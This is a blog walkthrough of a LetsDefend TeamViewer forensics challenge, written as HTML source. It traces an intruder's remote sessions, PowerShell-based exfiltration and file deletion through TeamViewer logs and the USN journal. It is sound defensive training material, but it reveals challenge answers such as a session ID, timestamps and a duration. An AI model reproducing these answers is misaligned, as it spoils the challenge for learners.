TeamViewer log files and&amp;hellip;_www.teamviewer.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;em&gt;TeamViewer&lt;/em&gt; log files are available in the &lt;em&gt;C:\Program Files\TeamViewer&lt;/em&gt; directory. Let&amp;rsquo;s navigate to the following path in the challenge file: &lt;em&gt;C\Program Files\TeamViewer&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first log we want to review is the basic &amp;quot; # &amp;ldquo;Connections_incoming.txt.&amp;ldquo;Let&amp;rsquo;s just open this file up in &lt;em&gt;Notepad&lt;/em&gt; for analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;833px&#34; data-flex-grow=&#34;347&#34; height=&#34;217&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b9c8ea6d2aacf9a029579981c0739e8d_MD5.png&#34; width=&#34;754&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/0fb7ee2e539de486b2a0c01ba84a1858_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! While this is a basic incoming connections log, it contains some valuable information for our investigation — I&amp;rsquo;ll highlight the relevant columns we&amp;rsquo;ll need.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first column is the TeamViewer &lt;strong&gt;user ID&lt;/strong&gt; of the &lt;em&gt;incoming agent&lt;/em&gt; connection.&lt;/li&gt;&#xA;&lt;li&gt;The second column is the &lt;strong&gt;username&lt;/strong&gt; of the &lt;em&gt;incoming&lt;/em&gt; connection.&lt;/li&gt;&#xA;&lt;li&gt;Columns 3€“4 are the start &amp;amp; end times of the connected session.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So, with this information, we can answer &lt;strong&gt;Question 1&lt;/strong&gt; &amp;amp; &lt;strong&gt;2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; It&amp;rsquo;s best to copy and paste the &lt;em&gt;username&lt;/em&gt; using the LetsDefend Virtual Machine VNC clipboard. If you&amp;rsquo;re anything like me, you&amp;rsquo;ll mix up one and L in the &lt;em&gt;username.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/e22434af85e8d7cf030ab22173dedfbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 1 — Answered&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/e59ab6d33b67e92508abb9b7529bd8e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 2 — Answered&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-attacker-has-joined-more-than-one-time-when-did-the-intruder-first-access-the-victimsmachine&#34;&gt;Question 3: The attacker has joined more than one time. When did the intruder first access the victim&amp;rsquo;s machine?&#xA;&lt;/h3&gt;&lt;p&gt;The &lt;em&gt;Connections_incoming.txt&lt;/em&gt; log file shows us two different connections. &lt;strong&gt;Question 3&lt;/strong&gt; seems pretty straightforward to confirm, except for one little detail&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Look at the required answer format for this question:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;(yyyy-MM-dd HH:mm:ss.&lt;strong&gt;SSS&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This log file doesn&amp;rsquo;t provide enough information to answer this question, does it? All hope is not lost, though. According to &lt;em&gt;TeamViewer,&lt;/em&gt; there is a second logfile called &amp;ldquo;TeamViewerXX_Logfile.log&amp;quot;Going through the victim&amp;rsquo;s &lt;em&gt;TeamViewer&lt;/em&gt; directory, we&amp;rsquo;ll stumble on this second log file, &amp;quot; # &amp;ldquo;TeamViewer15_Logfile.log&amp;rdquo;&#xA;—_ this log is much more detailed and contains the technical information we&amp;rsquo;re looking for.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open it and do a simple search for the attacker&amp;rsquo;s user ID that we discovered in &lt;strong&gt;Question 2&lt;/strong&gt; — this will help us locate the accurate first incoming session timestamp down to the millisecond:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;820px&#34; data-flex-grow=&#34;341&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/3c2c2c818ad8e492f9ffc30d10b77a87_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! We found an even more accurate connection time than was available in the &lt;em&gt;Connections_incoming&lt;/em&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;But keep in mind that the challenge wants the timestamp for the incoming session line, not the session encryption negotiation where we see the ID number&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/dd527d933b6c563b0c6a186cce90e51f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the---&#34;&gt;Question 4: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;session ID&amp;rdquo;&#xA;of the intruder&amp;rsquo;s second access to the computer?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s investigate some information about a second time the victim&amp;rsquo;s device was accessed. Remember, from the &lt;em&gt;Connections_incoming&lt;/em&gt; log we have a rough idea of when the second access attempt was — 04:35:03.&lt;/p&gt;&#xA;&lt;p&gt;This gives us an idea of where in the logs that we need to search, so let&amp;rsquo;s keep looking through &lt;em&gt;TeamViewer15_Logfile.log&lt;/em&gt; to see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to in the logs until we find the timestamps for 04:35:03. Once there, look for the connection incoming reference and the sessionID assigned to the new, second session!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;974px&#34; data-flex-grow=&#34;406&#34; height=&#34;197&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b6a748c5c3a54f7b967c1c082fe70fa9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8e5ad6eb8fb212bcbb4dbf4049a424a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-was-the-duration-of-the-second-session-in-secondsmilliseconds&#34;&gt;Question 5: What was the duration of the second session in seconds.milliseconds?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have located the &lt;em&gt;sessionID&lt;/em&gt; for the second connection in the previous question, we have also found the exact timestamp when the session was established. This gets us halfway to the answer! We&amp;rsquo;ll just need to find the end of the session to determine how long the attacker was active on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;Again, we have an idea of when the session ended based on what we saw in the &lt;em&gt;Connections_incoming&lt;/em&gt; log, but we need to find the session termination event in the &lt;em&gt;TeamViewer15_Logfile.log&lt;/em&gt; to get the exact session duration down to the milliseconds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1135px&#34; data-flex-grow=&#34;473&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/ae0ae6518703dfb018a5cf4e83f461c7_MD5.png&#34; width=&#34;492&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going through the logs, we&amp;rsquo;ll stumble upon a &lt;em&gt;SessionTerminate&lt;/em&gt; entry but instead of using the timestamp from this line, let&amp;rsquo;s go ahead and search for the second session ID, and locate the very last event with this session ID.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;444px&#34; data-flex-grow=&#34;185&#34; height=&#34;432&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/bc006d19b7eb1989d74da79daa0cf7ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This should be the event we are looking for to determine the absolute end time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;7510px&#34; data-flex-grow=&#34;3129&#34; height=&#34;17&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b66822501331680c24ce03500490d156_MD5.png&#34; width=&#34;532&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The final event for session ID 536169703&lt;/p&gt;&#xA;&lt;p&gt;Now that we have both the start and end time stamp, it&amp;rsquo;s time for some math! To recap, the first activity timestamp is &lt;em&gt;04:35:03.631&lt;/em&gt; and the last activity timestamp is &lt;em&gt;04:45:11:202&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m not a numbers guy, so let&amp;rsquo;s shift the workload to a date/time calculator to get the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  title=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Subtract Time Calculator&lt;/strong&gt;&#xA;_The Subtract Time Calculator is a useful tool to obtain the mathematical difference when you subtract a time from&amp;hellip;_datetimecalculator.net&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;515px&#34; data-flex-grow=&#34;214&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/809d8b5bdea0788f7f640efb907d9412_MD5.png&#34; width=&#34;623&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re so close! The last step is to convert this to the answer format for the question: &lt;em&gt;seconds.milliseconds&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, we just need to convert 10 minutes, 7 seconds to seconds which equals 607. Now put that together with the milliseconds from the calculator and, voila! We have our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/264e42d0cec37e59aac205589d72cc59_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-ip-address-of-the-server-to-which-the-intruder-exfiltrated-data&#34;&gt;Question 6: What is the IP address of the server to which the intruder exfiltrated data?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we&amp;rsquo;ve hit a little dead end — there is no evidence of file exfiltration in the &lt;em&gt;TeamViewer&lt;/em&gt; logs. So, we&amp;rsquo;ll need to pivot and direct our search elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we start with a review of the &lt;em&gt;PowerShell&lt;/em&gt; command history file to see if we can locate any commands the attacker may have run through &lt;em&gt;PowerShell?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  title=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;about History - PowerShell&lt;/strong&gt;&#xA;_Describes how to get and run commands in the command history._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To locate the &lt;em&gt;PowerShell command history&lt;/em&gt; log, we&amp;rsquo;ll need to navigate to the following path within the challenge file:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;C\Users\mmox\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Very interesting! We&amp;rsquo;ve stumbled on some evidence of the attacker&amp;rsquo;s next moves — archive collected data (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1560/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1560&lt;/em&gt;&lt;/a&gt;) from the &lt;em&gt;Confidential&lt;/em&gt; folder into a &lt;em&gt;ZIP&lt;/em&gt; file (&lt;em&gt;output.zip&lt;/em&gt;) and then two different methods of data exfiltration through web requests to the attacker&amp;rsquo;s server IP address (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1048&lt;/em&gt;&lt;/a&gt;)!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/9b2e75b8d088f31a2ff3a80002392d74_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve uncovered some of the attacker&amp;rsquo;s infrastructure, let&amp;rsquo;s start to evaluate the impact of the attacker&amp;rsquo;s actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/7c9cab94886ac670d9323f8d7cf51859_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-files-did-the-intruder-exfiltrate&#34;&gt;Question 7: How many files did the intruder exfiltrate?&#xA;&lt;/h3&gt;&lt;p&gt;From the previous question, we learned that the attacker created an archive of a folder labeled &amp;quot; # &amp;ldquo;Confidential&amp;quot;but there is no trace of this directory in the challenge file, is there?&lt;/p&gt;&#xA;&lt;p&gt;So, what can we do to find it? Let&amp;rsquo;s use the question hint to give us some ideas.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1788px&#34; data-flex-grow=&#34;745&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/54a66f22c336c357a85cf6a6a13a2190_MD5.png&#34; width=&#34;723&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do some research and learn more about the &lt;em&gt;Journal&lt;/em&gt; on an &lt;em&gt;NTFS volume.&lt;/em&gt; Below is an excerpt from &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Velociraptor&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(&lt;em&gt;another DFIR tool) explaining the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20%28Update%20Sequence,changes%20made%20to%20the%20volume.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;USN Journal&lt;/em&gt;&lt;/a&gt;&lt;/em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;By default Windows maintains a journal of filesystem activities in a file called &lt;strong&gt;$Extend$UsnJrnl&lt;/strong&gt; in a special data stream called &lt;strong&gt;$J&lt;/strong&gt;. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay, so if we can access the &lt;em&gt;USN Journal&lt;/em&gt; of the victim&amp;rsquo;s device, we might be able to parse and extract some information about the &lt;em&gt;Confidential&lt;/em&gt; directory and the files within it.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll use Eric Zimmerman&amp;rsquo;s &lt;strong&gt;&lt;em&gt;MFTECmd&lt;/em&gt;&lt;/strong&gt; which is part of the &lt;em&gt;Tools&lt;/em&gt; folder already in the &lt;em&gt;LetsDefend&lt;/em&gt; analysis machine. After we check out the help options, we&amp;rsquo;ll learn the below syntax to use this utility. Since we are pointing to the &lt;strong&gt;$J&lt;/strong&gt; (journal) file, we&amp;rsquo;ll also provide the path to the &lt;strong&gt;$MFT&lt;/strong&gt; so we can resolve the parent path as suggested by the help file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/6a6c5a2885b2c1f1e95397d273c20a03_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C$Extend$J&amp;rdquo; -m &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT&amp;rdquo; &amp;ndash;csv C:\Users\LetsDefend\Desktop&amp;lt;name-of-output&amp;gt;.csv&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/1eb83b78cb3deac0e737f33bc81711f1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After the utility parses the two files we pointed to and generates the output CSVs, let&amp;rsquo;s locate the &lt;em&gt;$J_Output.csv.&lt;/em&gt; To simplify the analysis, let&amp;rsquo;s use another of &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; installed tools_, Timeline Explorer,_ to open the file.&lt;/p&gt;&#xA;&lt;p&gt;Since we know from &lt;strong&gt;Question 6&lt;/strong&gt; that we&amp;rsquo;re searching for a folder called &lt;em&gt;Confidential,&lt;/em&gt; let&amp;rsquo;s use the search box and type the keyword &amp;quot; # &amp;ldquo;Confidential.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;395px&#34; data-flex-grow=&#34;164&#34; height=&#34;485&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/26f55875423487191efc3c9d6252ebda_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we located the directory with a parent path of &lt;em&gt;\Users\mmox\Documents&lt;/em&gt;. So, now we need to discover the files contained within the folder to determine what data was stolen. To accomplish this, take notice of the &amp;quot; # &amp;ldquo;Entry Number&amp;quot;column that has the number &lt;strong&gt;35740&lt;/strong&gt; and copy that value.&lt;/p&gt;&#xA;&lt;p&gt;Next, we want to remove the keyword filter to see all results, scroll over to the column called &amp;quot; # &amp;ldquo;Parent Entry Number,&amp;ldquo;and paste the entry number &lt;em&gt;35740&lt;/em&gt; into the column. This will filter all entries with the same parent, in this case the &amp;quot; # &amp;ldquo;Confidential&amp;quot;folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/a9eae4e87db7201355ed38a143d7dff8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see several entries with intriguing file names but there are also several other entries too with a different path than these files. So, what we are going to do is add a filter by the parent path column of the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;secret&amp;rdquo;&#xA;files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/f2068f9241c4298446fb39002c2a7845_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;And finally, filter the &lt;em&gt;Update Reasons&lt;/em&gt; column for &lt;em&gt;FileCreate&lt;/em&gt; events. This will leave us with three files from the &lt;em&gt;Confidential&lt;/em&gt; folder and filtered only by file creation events! Whew!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;348px&#34; data-flex-grow=&#34;145&#34; height=&#34;551&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/a31f90d27325390ba123fb5c87b4a041_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After using &lt;em&gt;MFTECmd&lt;/em&gt; to parse the &lt;em&gt;USN Journal ($J)&lt;/em&gt; file of the victim&amp;rsquo;s machine, we have determined that the &lt;em&gt;Confidential&lt;/em&gt; folder contained three sensitive files that were archived and exfiltrated to the attacker&amp;rsquo;s infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/f05e1bda31cc335907853af84e6fa0b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-when-did-the-intruder-delete-the-confidential-data-from-thesystem&#34;&gt;Question 8: When did the intruder delete the confidential data from the system?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question for this investigation. After the attacker collected and exfiltrated the data, they deleted the original files from the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;To discover when this event occurred, we&amp;rsquo;ll make a simple change the &lt;em&gt;Timeline Explorer&lt;/em&gt; filter from &lt;em&gt;Update Reasons &amp;gt; FileCreate&lt;/em&gt; to &lt;em&gt;Update Reasons &amp;gt; File Delete|Close.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;475px&#34; data-flex-grow=&#34;198&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5_hu_b9e4bead7c167148.gif 800w, https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5.gif 1014w&#34; width=&#34;1014&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will change our view from when the three confidential files were created to when they were deleted. Now that we have figured out when the files were deleted, we can wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 